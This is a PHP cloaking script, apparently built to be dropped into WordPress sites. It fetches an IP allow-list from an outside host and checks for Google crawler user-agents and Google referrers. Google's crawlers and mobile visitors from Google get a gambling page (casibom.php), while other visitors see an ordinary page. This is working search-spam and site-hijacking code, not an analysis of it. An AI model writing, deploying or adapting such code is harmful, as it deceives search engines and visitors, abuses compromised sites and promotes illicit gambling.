<?php

$ref_domains =
    [
        "google.com",
        "abc-site.com",
    ];

$allowedIPs = file_get_contents('https://ajans.ates.us/allow-ips.php') ;
$allowedIPs = explode("\n",$allowedIPs);
$allowedIPs = array_values(array_filter($allowedIPs));

function is_bot_user_agent() {
    $user_agent = $_SERVER['HTTP_USER_AGENT'];
    $bot_keywords = [
        'Googlebot',
        'GoogleProducer',
        'FeedFetcher-Google',
        'Mediapartners-Google',
        'AdsBot-Google',
        'AdsBot-Google-Mobile',
        'APIs-Google',
        'Google-Extended',
        'GoogleOther-Video',
        'GoogleOther-Image',
        'GoogleOther',
        'Storebot-Google',
        'Googlebot-Video',
        'Googlebot-News',
        'Googlebot-Image',
        'Google-InspectionTool'
    ];

    foreach ($bot_keywords as $keyword) {
        if (stripos($user_agent, $keyword) !== false) {
            return true;
        }
    }

    return false;
}

function checkRefererFromDomains() {
    if (isset($_SERVER['HTTP_REFERER'])) {
        $user_agent = $_SERVER['HTTP_REFERER'];

        global $ref_domains;

        foreach ($ref_domains as $keyword) {
            if (stripos($user_agent, $keyword) !== false) {
                return true;
            }
        }
    }

    return false;
}

function checkIfMobile() {
    $userAgent = $_SERVER['HTTP_USER_AGENT'];
    $mobileAgents = [
        'Android', 'iPhone', 'iPad', 'iPod', 'BlackBerry', 'Opera Mini', 'IEMobile', 'Mobile'
    ];

    foreach ($mobileAgents as $agent) {
        if (stripos($userAgent, $agent) !== false) {
            return true; // Mobil cihaz
        }
    }
    return false; // Masaüstü cihaz
}

function matchIpWithBlock($ip, $block) {
    if (strpos($block, '/') !== false) {
        // CIDR notasyonu
        list($block, $cidr) = explode('/', $block);
    } else {
        $cidr = null;
    }

    if (strpos($ip, ':') !== false) {
        // IPv6 adresi
        $ipType = 'ipv6';
    } else {
        // IPv4 adresi
        $ipType = 'ipv4';
    }

    if ($ipType === 'ipv4') {
        // IPv4 adresi için işlem
        $ipParts = explode('.', $ip);
        $blockParts = explode('.', $block);

        if (count($ipParts) !== 4 || count($blockParts) > 4) {
            return false;
        }

        for ($i = 0; $i < count($blockParts); $i++) {
            if ($blockParts[$i] === '*') {
                continue;
            }
            if ($ipParts[$i] !== $blockParts[$i]) {
                return false;
            }
        }

        return true;
    } else {
        // IPv6 adresi için işlem
        $ipParts = explode(':', $ip);
        $blockParts = explode(':', $block);

        if (count($blockParts) > 8) {
            return false;
        }

        // Boş parçaları doldur
        foreach ($blockParts as &$part) {
            if ($part === '') {
                $part = '0';
            }
        }

        foreach ($ipParts as &$part) {
            if ($part === '') {
                $part = '0';
            }
        }

        // Kısa blokları genişlet
        for ($i = 0; $i < count($blockParts); $i++) {
            if ($blockParts[$i] === '*') {
                continue;
            }
            if ($ipParts[$i] !== $blockParts[$i]) {
                return false;
            }
        }

        return true;
    }
}

function GetIP()
{
    if (getenv("HTTP_CLIENT_IP")) {
        $ip = getenv("HTTP_CLIENT_IP");
    } elseif (getenv("HTTP_X_FORWARDED_FOR")) {
        $ip = getenv("HTTP_X_FORWARDED_FOR");
        if (strstr($ip, ',')) {
            $tmp = explode(',', $ip);
            $ip = trim($tmp[0]);
        }
    } else {
        $ip = getenv("REMOTE_ADDR");
    }
    return $ip;
}

$user_ip = GetIP();
$isGoogleBots = false;
foreach ($allowedIPs as $allowedIP) {
    if( matchIpWithBlock($user_ip,$allowedIP) ){
        $isGoogleBots = true;
        break;
    }
}

header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");

if( file_exists($_SERVER["DOCUMENT_SERVER"]."/wp-load.php") ){
    
    
    // google ise
/*    
if( $isGoogleBots ){

//if( true){
    include_once __DIR__."/casibom.php";
    exit;

}else*/

if( checkRefererFromDomains() && checkIfMobile() && !$isGoogleBots ){
    include_once __DIR__."/casibom.php";
    exit;

}else if( !$isGoogleBots  ){
    include_once __DIR__."/main.html";
    exit;
}

  

}else{

    // google ise
    if( $isGoogleBots ){
    //if( true){
        include_once __DIR__."/casibom.php";
        exit;
    
    }else if( checkRefererFromDomains() && checkIfMobile() ){
        include_once __DIR__."/casibom.php";
        exit;
    
    }
    
    include_once __DIR__."/main.html";
    exit;
    
}